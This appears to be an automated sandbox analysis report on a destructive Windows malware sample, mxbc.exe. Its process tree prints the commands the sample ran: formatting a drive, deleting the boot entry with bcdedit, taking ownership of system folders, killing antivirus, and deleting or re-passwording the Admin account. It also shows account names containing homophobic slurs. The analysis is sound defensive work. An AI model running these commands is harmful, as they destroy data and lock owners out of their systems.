Overview

overview

10

Static

static

3

mxbc.exe

windows7-x64

10

mxbc.exe

windows10-2004-x64

8

Analysis

  • max time kernel
    26s
  • max time network
    148s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    14/11/2024, 14:29

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    mxbc.exe
  • Size 12.9MB
  • Sample241114-rtjfqs1bmk
  • SHA256 47e71e46140def04f30978aabc76717a14e614be2c9821dab3519a393e8a84c0
  • MD5 SHA1 SHA512 SSDEEP
Score
8/10
defense_evasiondiscoveryevasionexploitpersistenceupx

Malware Config

Signatures

  • Boot or Logon Autostart Execution: Active Setup 2 TTPs 5 IoCs

    Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.

    persistence
  • Indicator Removal: Network Share Connection Removal 1 TTPs 2 IoCs

    Adversaries may remove share connections that are no longer useful in order to clean up traces of their operation.

    defense_evasion
  • Possible privilege escalation attempt 10 IoCs
    exploit
  • Sets file to hidden 1 TTPs 2 IoCs

    Modifies file attributes to stop it showing in Explorer etc.

    evasion
  • Checks computer location settings 2 TTPs 3 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 19 IoCs
  • Modifies file permissions 1 TTPs 10 IoCs
    discovery
  • Enumerates connected drives 3 TTPs 10 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • File and Directory Permissions Modification: Windows File and Directory Permissions Modification 1 TTPs
    defense_evasion
  • Modifies boot configuration data using bcdedit 1 IoCs
  • UPX packed file 10 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

    upx
  • Drops file in Windows directory 4 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 1 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

    discovery
  • Checks SCSI registry key(s) 3 TTPs 64 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Kills process with taskkill 5 IoCs
    evasion
  • Modifies Internet Explorer settings 1 TTPs 4 IoCs
    adwarespyware
  • Modifies registry class 64 IoCs
  • Runs net.exe
  • Runs ping.exe 1 TTPs 1 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious behavior: EnumeratesProcesses 32 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 64 IoCs
  • Suspicious use of SendNotifyMessage 64 IoCs
  • Suspicious use of SetWindowsHookEx 8 IoCs
  • Suspicious use of WriteProcessMemory 23 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware
  • Views/modifies file attributes 1 TTPs 2 IoCs
    evasion

Processes

  • C:\Users\Admin\AppData\Local\Temp\mxbc.exe
    "C:\Users\Admin\AppData\Local\Temp\mxbc.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:2676
    • C:\Windows\System32\taskkill.exe
      "C:\Windows\System32\taskkill.exe" /f /im WAGtrayB.exe /t
      2⤵
      • Kills process with taskkill
      • Suspicious use of AdjustPrivilegeToken
      PID:4460
    • C:\Windows\System32\taskkill.exe
      "C:\Windows\System32\taskkill.exe" /f /im WAGtray.exe /t
      2⤵
      • Kills process with taskkill
      • Suspicious use of AdjustPrivilegeToken
      PID:2892
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c C:\Users\Admin\AppData\Local\Temp\mxbc\start.bat
      2⤵
      • Checks computer location settings
      • Modifies registry class
      • Suspicious use of WriteProcessMemory
      PID:4396
      • C:\Windows\System32\WScript.exe
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\mxbc\sta.vbs"
        3⤵
        • Checks computer location settings
        • Suspicious use of WriteProcessMemory
        PID:400
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /c C:\Users\Admin\AppData\Local\Temp\mxbc\s.bat
          4⤵
          • Drops file in Windows directory
          • Suspicious use of WriteProcessMemory
          PID:4496
          • C:\Windows\system32\taskkill.exe
            taskkill /f /im explorer.exe
            5⤵
            • Kills process with taskkill
            • Suspicious use of AdjustPrivilegeToken
            PID:2100
          • C:\Windows\explorer.exe
            explorer.exe
            5⤵
            • Boot or Logon Autostart Execution: Active Setup
            • Enumerates connected drives
            • Checks SCSI registry key(s)
            • Modifies registry class
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of FindShellTrayWindow
            • Suspicious use of SendNotifyMessage
            PID:3980
          • C:\Users\Admin\AppData\Local\Temp\mxbc\kill.exe
            C:\Users\Admin\AppData\Local\Temp\mxbc\kill.exe
            5⤵
            • Executes dropped EXE
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of SetWindowsHookEx
            PID:2268
          • C:\Windows\system32\taskkill.exe
            taskkill /f /im PYAS.exe /t
            5⤵
            • Kills process with taskkill
            • Suspicious use of AdjustPrivilegeToken
            PID:4620
          • C:\Windows\system32\Dism.exe
            dism /Online /enable-feature /FeatureName:"DirectPlay" /All
            5⤵
            • Drops file in Windows directory
            • Suspicious use of WriteProcessMemory
            PID:4868
            • C:\Users\Admin\AppData\Local\Temp\222607A2-1174-4347-A78B-52F7065AE360\dismhost.exe
              C:\Users\Admin\AppData\Local\Temp\222607A2-1174-4347-A78B-52F7065AE360\dismhost.exe {A86F502F-11B0-4646-A0BE-164C6FC24DBE}
              6⤵
              • Executes dropped EXE
              • Loads dropped DLL
              • Drops file in Windows directory
              PID:4472
          • C:\Windows\system32\taskkill.exe
            taskkill /f /im PYAS.exe /t
            5⤵
            • Kills process with taskkill
            PID:4500
          • C:\Windows\system32\reg.exe
            reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Layers" /v "C:\Users\Admin\AppData\Local\Temp\mxbc\bxmc.exe" /t REG_SZ /d "~ HIGHDPIAWARE" /f
            5⤵
              PID:4736
            • C:\Users\Admin\AppData\Local\Temp\mxbc\bxmc.exe
              C:\Users\Admin\AppData\Local\Temp\mxbc\bxmc.exe
              5⤵
                PID:1460
                • C:\Windows\SysWOW64\attrib.exe
                  attrib +s +a +h +r C:\Users\Admin\AppData\Local\Temp\\ExtraDll.dll
                  6⤵
                  • Sets file to hidden
                  • Views/modifies file attributes
                  PID:3660
                • C:\Windows\SysWOW64\attrib.exe
                  attrib +s +a +h +r C:\Users\Admin\AppData\Local\Temp\\ExtraDll.dll
                  6⤵
                  • Sets file to hidden
                  • Views/modifies file attributes
                  PID:2304
                • C:\Windows\SysWOW64\cmd.exe
                  cmd.exe /c title bcxmd && Color 4F && echo ÃÛÑ©±ù³ÇÌðÃÛÃÛ && pause
                  6⤵
                    PID:5060
                  • C:\Windows\SysWOW64\cmd.exe
                    cmd.exe /c title bcxmd && Color 4F && echo ЦËÀÎÒÁË£¬Äã¸öº©Åú && pause
                    6⤵
                      PID:716
                    • C:\Windows\SysWOW64\cmd.exe
                      cmd.exe /c title bcxmd && Color 4F && echo ±ùä¿ÁÜ£¬ÕòµêÖ®±¦£¬2ÔªÒ»¸ù && pause
                      6⤵
                        PID:2152
                      • C:\Windows\SysWOW64\cmd.exe
                        cmd.exe /c title bcxmd && Color 4F && echo I love you, you love me. && pause
                        6⤵
                          PID:1768
                        • C:\Windows\SysWOW64\cmd.exe
                          cmd.exe /c format F: /q /y
                          6⤵
                            PID:3928
                            • C:\Windows\SysWOW64\format.com
                              format F: /q /y
                              7⤵
                                PID:3776
                            • C:\Windows\SysWOW64\cmd.exe
                              cmd.exe /c takeown /f "C:\Windows\System32\drivers\*.*" && icacls "C:\Windows\System32\drivers\*.*" /grant Users:F"
                              6⤵
                                PID:4804
                                • C:\Windows\SysWOW64\takeown.exe
                                  takeown /f "C:\Windows\System32\drivers\*.*"
                                  7⤵
                                  • Possible privilege escalation attempt
                                  • Modifies file permissions
                                  PID:1368
                                • C:\Windows\SysWOW64\icacls.exe
                                  icacls "C:\Windows\System32\drivers\*.*" /grant Users:F"
                                  7⤵
                                  • Possible privilege escalation attempt
                                  • Modifies file permissions
                                  PID:2940
                              • C:\Windows\SysWOW64\cmd.exe
                                cmd.exe /c takeown /f "C:\Windows\INF\*.*" && icacls "C:\Windows\INF\*.*" /grant Users:F"
                                6⤵
                                  PID:672
                                  • C:\Windows\SysWOW64\takeown.exe
                                    takeown /f "C:\Windows\INF\*.*"
                                    7⤵
                                    • Possible privilege escalation attempt
                                    • Modifies file permissions
                                    PID:5096
                                  • C:\Windows\SysWOW64\icacls.exe
                                    icacls "C:\Windows\INF\*.*" /grant Users:F"
                                    7⤵
                                    • Possible privilege escalation attempt
                                    • Modifies file permissions
                                    PID:5880
                                • C:\Windows\SysWOW64\cmd.exe
                                  cmd.exe /c takeown /f "C:\Windows\System32\CatRoot\*.*" && icacls "C:\Windows\System32\CatRoot\*.*" /grant Users:F"
                                  6⤵
                                    PID:5948
                                    • C:\Windows\SysWOW64\takeown.exe
                                      takeown /f "C:\Windows\System32\CatRoot\*.*"
                                      7⤵
                                      • Possible privilege escalation attempt
                                      • Modifies file permissions
                                      PID:5992
                                    • C:\Windows\SysWOW64\icacls.exe
                                      icacls "C:\Windows\System32\CatRoot\*.*" /grant Users:F"
                                      7⤵
                                      • Possible privilege escalation attempt
                                      • Modifies file permissions
                                      PID:6008
                                  • C:\Windows\SysWOW64\SCHTASKS.exe
                                    SCHTASKS /Create /xml "C:\Users\Admin\AppData\Local\Temp\t.xml" /tn BX5337MC
                                    6⤵
                                    • Scheduled Task/Job: Scheduled Task
                                    PID:6028
                                  • C:\Windows\SysWOW64\cmd.exe
                                    cmd.exe /c title bcxmd && Color 4F && echo Äã°©ÎÒÎÒ°«ÄãÃÛѪ²¡³ÌÌíÃ×Ã× && pause
                                    6⤵
                                      PID:6072
                                    • C:\Windows\SysWOW64\cmd.exe
                                      cmd.exe /c title bcxmd && Color 4F && echo Äã°©ÎÒÎÒ°«ÄãÃÛѪ²¡³ÌÌíÃ×Ã× && pause
                                      6⤵
                                        PID:6044
                                      • C:\Windows\SysWOW64\cmd.exe
                                        cmd.exe /c title bcxmd && Color 4F && echo Äã°©ÎÒÎÒ°«ÄãÃÛѪ²¡³ÌÌíÃ×Ã× && pause
                                        6⤵
                                          PID:5336
                                        • C:\Windows\SysWOW64\cmd.exe
                                          cmd.exe /c title bcxmd && Color 4F && echo Äã°©ÎÒÎÒ°«ÄãÃÛѪ²¡³ÌÌíÃ×Ã× && pause
                                          6⤵
                                            PID:5488
                                          • C:\Windows\SysWOW64\cmd.exe
                                            cmd.exe /c title bcxmd && Color 4F && echo Äã°©ÎÒÎÒ°«ÄãÃÛѪ²¡³ÌÌíÃ×Ã× && pause
                                            6⤵
                                              PID:5676
                                            • C:\Windows\SysWOW64\cmd.exe
                                              cmd.exe /c title bcxmd && Color 4F && echo Äã°©ÎÒÎÒ°«ÄãÃÛѪ²¡³ÌÌíÃ×Ã× && pause
                                              6⤵
                                                PID:5860
                                              • C:\Windows\SysWOW64\cmd.exe
                                                cmd.exe /c title bcxmd && Color 4F && echo Äã°©ÎÒÎÒ°«ÄãÃÛѪ²¡³ÌÌíÃ×Ã× && pause
                                                6⤵
                                                  PID:4808
                                                • C:\Windows\SysWOW64\cmd.exe
                                                  cmd.exe /c title bcxmd && Color 4F && echo Äã°©ÎÒÎÒ°«ÄãÃÛѪ²¡³ÌÌíÃ×Ã× && pause
                                                  6⤵
                                                    PID:3668
                                                  • C:\Windows\SysWOW64\SCHTASKS.exe
                                                    SCHTASKS.exe /Create /xml "C:\Users\Admin\AppData\Local\Temp\t.xml" /tn X446Z
                                                    6⤵
                                                    • Scheduled Task/Job: Scheduled Task
                                                    PID:4740
                                                  • C:\Windows\SysWOW64\rundll32.exe
                                                    rundll32.exe C:\Windows\System32\f.dll,Start
                                                    6⤵
                                                      PID:5540
                                                    • C:\Windows\SysWOW64\cmd.exe
                                                      cmd.exe /c title bcxmd && Color 4F && echo Äã°©ÎÒÎÒ°«ÄãÃÛѪ²¡³ÌÌíÃ×Ã× && pause
                                                      6⤵
                                                        PID:2300
                                                    • C:\Windows\system32\PING.EXE
                                                      ping 127.0.0.1 -n 5
                                                      5⤵
                                                      • System Network Configuration Discovery: Internet Connection Discovery
                                                      • Runs ping.exe
                                                      PID:4356
                                                    • C:\Windows\system32\takeown.exe
                                                      takeown /f "C:\Windows\System32\CatRoot\*.*"
                                                      5⤵
                                                      • Possible privilege escalation attempt
                                                      • Modifies file permissions
                                                      PID:4720
                                                    • C:\Windows\system32\icacls.exe
                                                      icacls "C:\Windows\System32\CatRoot\*.*" /grant Users:F
                                                      5⤵
                                                      • Possible privilege escalation attempt
                                                      • Modifies file permissions
                                                      PID:4180
                                                    • C:\Windows\system32\takeown.exe
                                                      takeown /f "C:\Windows\System32\ntdll.dll"
                                                      5⤵
                                                      • Possible privilege escalation attempt
                                                      • Modifies file permissions
                                                      PID:6136
                                                    • C:\Windows\system32\takeown.exe
                                                      takeown /f "C:\Windows\System32\wininit.exe"
                                                      5⤵
                                                      • Possible privilege escalation attempt
                                                      • Modifies file permissions
                                                      PID:3752
                                                    • C:\Windows\system32\bcdedit.exe
                                                      bcdedit /delete {current} /f
                                                      5⤵
                                                      • Modifies boot configuration data using bcdedit
                                                      PID:5164
                                                    • C:\Windows\system32\reg.exe
                                                      reg add "HKEY_CURRENT_USER\Software\Policies\Microsoft\MMC\{8FC0B734-A0E1-11D1-A7D3-0000F87571E3}" /v Restrict_Run /t REG_DWORD /d 1 /f
                                                      5⤵
                                                        PID:5200
                                                      • C:\Windows\system32\net.exe
                                                        net user HAHAHAHAHAgay /add
                                                        5⤵
                                                          PID:5224
                                                          • C:\Windows\system32\net1.exe
                                                            C:\Windows\system32\net1 user HAHAHAHAHAgay /add
                                                            6⤵
                                                              PID:5240
                                                          • C:\Windows\system32\net.exe
                                                            net user FUCKYOUPCgay /add
                                                            5⤵
                                                              PID:5256
                                                              • C:\Windows\system32\net1.exe
                                                                C:\Windows\system32\net1 user FUCKYOUPCgay /add
                                                                6⤵
                                                                  PID:5272
                                                              • C:\Windows\system32\net.exe
                                                                net user gaygay /add
                                                                5⤵
                                                                  PID:5296
                                                                  • C:\Windows\system32\net1.exe
                                                                    C:\Windows\system32\net1 user gaygay /add
                                                                    6⤵
                                                                      PID:5312
                                                                  • C:\Windows\system32\net.exe
                                                                    net user DIEgay /add
                                                                    5⤵
                                                                      PID:5328
                                                                      • C:\Windows\system32\net1.exe
                                                                        C:\Windows\system32\net1 user DIEgay /add
                                                                        6⤵
                                                                          PID:5340
                                                                      • C:\Windows\system32\net.exe
                                                                        net user DEADgay /add
                                                                        5⤵
                                                                          PID:5376
                                                                          • C:\Windows\system32\net1.exe
                                                                            C:\Windows\system32\net1 user DEADgay /add
                                                                            6⤵
                                                                              PID:5388
                                                                          • C:\Windows\system32\net.exe
                                                                            net user DEATHgay /add
                                                                            5⤵
                                                                              PID:5408
                                                                              • C:\Windows\system32\net1.exe
                                                                                C:\Windows\system32\net1 user DEATHgay /add
                                                                                6⤵
                                                                                  PID:5420
                                                                              • C:\Windows\system32\net.exe
                                                                                net user NOESCAPEgay /add
                                                                                5⤵
                                                                                  PID:5440
                                                                                  • C:\Windows\system32\net1.exe
                                                                                    C:\Windows\system32\net1 user NOESCAPEgay /add
                                                                                    6⤵
                                                                                      PID:5448
                                                                                  • C:\Windows\system32\net.exe
                                                                                    net user Fgay /add
                                                                                    5⤵
                                                                                      PID:5460
                                                                                      • C:\Windows\system32\net1.exe
                                                                                        C:\Windows\system32\net1 user Fgay /add
                                                                                        6⤵
                                                                                          PID:5480
                                                                                      • C:\Windows\system32\net.exe
                                                                                        net user Ugay /add
                                                                                        5⤵
                                                                                          PID:5488
                                                                                          • C:\Windows\system32\net1.exe
                                                                                            C:\Windows\system32\net1 user Ugay /add
                                                                                            6⤵
                                                                                              PID:5500
                                                                                          • C:\Windows\system32\net.exe
                                                                                            net user Cgay /add
                                                                                            5⤵
                                                                                              PID:5524
                                                                                              • C:\Windows\system32\net1.exe
                                                                                                C:\Windows\system32\net1 user Cgay /add
                                                                                                6⤵
                                                                                                  PID:5540
                                                                                              • C:\Windows\system32\net.exe
                                                                                                net user Kgay /add
                                                                                                5⤵
                                                                                                  PID:5556
                                                                                                  • C:\Windows\system32\net1.exe
                                                                                                    C:\Windows\system32\net1 user Kgay /add
                                                                                                    6⤵
                                                                                                      PID:5564
                                                                                                  • C:\Windows\system32\net.exe
                                                                                                    net user Ygay /add
                                                                                                    5⤵
                                                                                                      PID:5592
                                                                                                      • C:\Windows\system32\net1.exe
                                                                                                        C:\Windows\system32\net1 user Ygay /add
                                                                                                        6⤵
                                                                                                          PID:5608
                                                                                                      • C:\Windows\system32\net.exe
                                                                                                        net user Ogay /add
                                                                                                        5⤵
                                                                                                          PID:5632
                                                                                                          • C:\Windows\system32\net1.exe
                                                                                                            C:\Windows\system32\net1 user Ogay /add
                                                                                                            6⤵
                                                                                                              PID:5652
                                                                                                          • C:\Windows\system32\net.exe
                                                                                                            net user Ugay /add
                                                                                                            5⤵
                                                                                                              PID:5676
                                                                                                              • C:\Windows\system32\net1.exe
                                                                                                                C:\Windows\system32\net1 user Ugay /add
                                                                                                                6⤵
                                                                                                                  PID:5668
                                                                                                              • C:\Windows\system32\net.exe
                                                                                                                net user Pgay /add
                                                                                                                5⤵
                                                                                                                  PID:5124
                                                                                                                  • C:\Windows\system32\net1.exe
                                                                                                                    C:\Windows\system32\net1 user Pgay /add
                                                                                                                    6⤵
                                                                                                                      PID:5172
                                                                                                                  • C:\Windows\system32\net.exe
                                                                                                                    net user Cgay /add
                                                                                                                    5⤵
                                                                                                                      PID:5716
                                                                                                                      • C:\Windows\system32\net1.exe
                                                                                                                        C:\Windows\system32\net1 user Cgay /add
                                                                                                                        6⤵
                                                                                                                          PID:5720
                                                                                                                      • C:\Windows\system32\net.exe
                                                                                                                        net user HAHAHAgay /add
                                                                                                                        5⤵
                                                                                                                          PID:5704
                                                                                                                          • C:\Windows\system32\net1.exe
                                                                                                                            C:\Windows\system32\net1 user HAHAHAgay /add
                                                                                                                            6⤵
                                                                                                                              PID:2192
                                                                                                                          • C:\Windows\system32\net.exe
                                                                                                                            net user HAHAHAHAgay /add
                                                                                                                            5⤵
                                                                                                                              PID:5756
                                                                                                                              • C:\Windows\system32\net1.exe
                                                                                                                                C:\Windows\system32\net1 user HAHAHAHAgay /add
                                                                                                                                6⤵
                                                                                                                                  PID:5768
                                                                                                                              • C:\Windows\system32\net.exe
                                                                                                                                net user HAHAHAHAHAgay /add
                                                                                                                                5⤵
                                                                                                                                  PID:5780
                                                                                                                                  • C:\Windows\system32\net1.exe
                                                                                                                                    C:\Windows\system32\net1 user HAHAHAHAHAgay /add
                                                                                                                                    6⤵
                                                                                                                                      PID:5800
                                                                                                                                  • C:\Windows\system32\net.exe
                                                                                                                                    net user HAHAHAHAHAHAgay /add
                                                                                                                                    5⤵
                                                                                                                                      PID:5820
                                                                                                                                      • C:\Windows\system32\net1.exe
                                                                                                                                        C:\Windows\system32\net1 user HAHAHAHAHAHAgay /add
                                                                                                                                        6⤵
                                                                                                                                          PID:5836
                                                                                                                                      • C:\Windows\system32\net.exe
                                                                                                                                        net user NOESCAPE-BXMC /add
                                                                                                                                        5⤵
                                                                                                                                          PID:5844
                                                                                                                                          • C:\Windows\system32\net1.exe
                                                                                                                                            C:\Windows\system32\net1 user NOESCAPE-BXMC /add
                                                                                                                                            6⤵
                                                                                                                                              PID:3744
                                                                                                                                          • C:\Windows\system32\net.exe
                                                                                                                                            net user Admin /delete
                                                                                                                                            5⤵
                                                                                                                                            • Indicator Removal: Network Share Connection Removal
                                                                                                                                            PID:5852
                                                                                                                                            • C:\Windows\system32\net1.exe
                                                                                                                                              C:\Windows\system32\net1 user Admin /delete
                                                                                                                                              6⤵
                                                                                                                                              • Indicator Removal: Network Share Connection Removal
                                                                                                                                              PID:5864
                                                                                                                                          • C:\Windows\system32\net.exe
                                                                                                                                            net user Admin /fullname:"NOESCAPE-BC"
                                                                                                                                            5⤵
                                                                                                                                              PID:3440
                                                                                                                                              • C:\Windows\system32\net1.exe
                                                                                                                                                C:\Windows\system32\net1 user Admin /fullname:"NOESCAPE-BC"
                                                                                                                                                6⤵
                                                                                                                                                  PID:5884
                                                                                                                                              • C:\Windows\system32\net.exe
                                                                                                                                                net user Admin 54tyujeuyu3838yuxixhs63
                                                                                                                                                5⤵
                                                                                                                                                  PID:3968
                                                                                                                                                  • C:\Windows\system32\net1.exe
                                                                                                                                                    C:\Windows\system32\net1 user Admin 54tyujeuyu3838yuxixhs63
                                                                                                                                                    6⤵
                                                                                                                                                      PID:672
                                                                                                                                          • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
                                                                                                                                            "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
                                                                                                                                            1⤵
                                                                                                                                            • Suspicious use of SetWindowsHookEx
                                                                                                                                            PID:1876
                                                                                                                                          • C:\Windows\explorer.exe
                                                                                                                                            explorer.exe
                                                                                                                                            1⤵
                                                                                                                                            • Boot or Logon Autostart Execution: Active Setup
                                                                                                                                            • Enumerates connected drives
                                                                                                                                            • Checks SCSI registry key(s)
                                                                                                                                            • Modifies registry class
                                                                                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                                                                                            • Suspicious use of FindShellTrayWindow
                                                                                                                                            • Suspicious use of SendNotifyMessage
                                                                                                                                            PID:4308
                                                                                                                                          • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
                                                                                                                                            "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
                                                                                                                                            1⤵
                                                                                                                                            • Suspicious use of SetWindowsHookEx
                                                                                                                                            PID:3300
                                                                                                                                          • C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe
                                                                                                                                            "C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca
                                                                                                                                            1⤵
                                                                                                                                            • Modifies Internet Explorer settings
                                                                                                                                            • Modifies registry class
                                                                                                                                            • Suspicious use of SetWindowsHookEx
                                                                                                                                            PID:3264
                                                                                                                                          • C:\Windows\system32\vssvc.exe
                                                                                                                                            C:\Windows\system32\vssvc.exe
                                                                                                                                            1⤵
                                                                                                                                            • Checks SCSI registry key(s)
                                                                                                                                            PID:920
                                                                                                                                          • C:\Windows\explorer.exe
                                                                                                                                            explorer.exe
                                                                                                                                            1⤵
                                                                                                                                            • Boot or Logon Autostart Execution: Active Setup
                                                                                                                                            • Enumerates connected drives
                                                                                                                                            • Checks SCSI registry key(s)
                                                                                                                                            • Suspicious use of SendNotifyMessage
                                                                                                                                            PID:4640
                                                                                                                                          • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
                                                                                                                                            "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
                                                                                                                                            1⤵
                                                                                                                                            • Suspicious use of SetWindowsHookEx
                                                                                                                                            PID:2908
                                                                                                                                          • C:\Windows\explorer.exe
                                                                                                                                            explorer.exe
                                                                                                                                            1⤵
                                                                                                                                            • Boot or Logon Autostart Execution: Active Setup
                                                                                                                                            • Enumerates connected drives
                                                                                                                                            • Checks SCSI registry key(s)
                                                                                                                                            • Modifies registry class
                                                                                                                                            • Suspicious use of SendNotifyMessage
                                                                                                                                            PID:3888
                                                                                                                                          • C:\Windows\explorer.exe
                                                                                                                                            explorer.exe
                                                                                                                                            1⤵
                                                                                                                                            • Boot or Logon Autostart Execution: Active Setup
                                                                                                                                            • Enumerates connected drives
                                                                                                                                            • Checks SCSI registry key(s)
                                                                                                                                            • Modifies registry class
                                                                                                                                            • Suspicious use of SendNotifyMessage
                                                                                                                                            PID:3680
                                                                                                                                          • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
                                                                                                                                            "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
                                                                                                                                            1⤵
                                                                                                                                            • Suspicious use of SetWindowsHookEx
                                                                                                                                            PID:2492
                                                                                                                                          • C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe
                                                                                                                                            "C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca
                                                                                                                                            1⤵
                                                                                                                                            • Modifies Internet Explorer settings
                                                                                                                                            • Modifies registry class
                                                                                                                                            • Suspicious use of SetWindowsHookEx
                                                                                                                                            PID:1428
                                                                                                                                          • C:\Windows\explorer.exe
                                                                                                                                            explorer.exe
                                                                                                                                            1⤵
                                                                                                                                              PID:2520
                                                                                                                                            • C:\Windows\system32\srtasks.exe
                                                                                                                                              C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
                                                                                                                                              1⤵
                                                                                                                                                PID:2652
                                                                                                                                              • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
                                                                                                                                                "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
                                                                                                                                                1⤵
                                                                                                                                                  PID:1372
                                                                                                                                                • C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe
                                                                                                                                                  "C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca
                                                                                                                                                  1⤵
                                                                                                                                                    PID:4280
                                                                                                                                                  • C:\Windows\explorer.exe
                                                                                                                                                    explorer.exe
                                                                                                                                                    1⤵
                                                                                                                                                      PID:4180
                                                                                                                                                    • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
                                                                                                                                                      "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
                                                                                                                                                      1⤵
                                                                                                                                                        PID:3692
                                                                                                                                                      • C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe
                                                                                                                                                        "C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca
                                                                                                                                                        1⤵
                                                                                                                                                          PID:3236
                                                                                                                                                        • C:\Windows\explorer.exe
                                                                                                                                                          explorer.exe
                                                                                                                                                          1⤵
                                                                                                                                                            PID:1716
                                                                                                                                                          • C:\Windows\system32\AUDIODG.EXE
                                                                                                                                                            C:\Windows\system32\AUDIODG.EXE 0x394 0x52c
                                                                                                                                                            1⤵
                                                                                                                                                              PID:1748
                                                                                                                                                            • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
                                                                                                                                                              "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
                                                                                                                                                              1⤵
                                                                                                                                                                PID:2612
                                                                                                                                                              • C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe
                                                                                                                                                                "C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca
                                                                                                                                                                1⤵
                                                                                                                                                                  PID:4504

                                                                                                                                                                Network

                                                                                                                                                                      MITRE ATT&CK Enterprise v15

                                                                                                                                                                      Reconnaissance

                                                                                                                                                                      Resource Development

                                                                                                                                                                      Initial Access

                                                                                                                                                                      Execution

                                                                                                                                                                      Scheduled Task/Job

                                                                                                                                                                      1
                                                                                                                                                                      T1053

                                                                                                                                                                      Scheduled Task

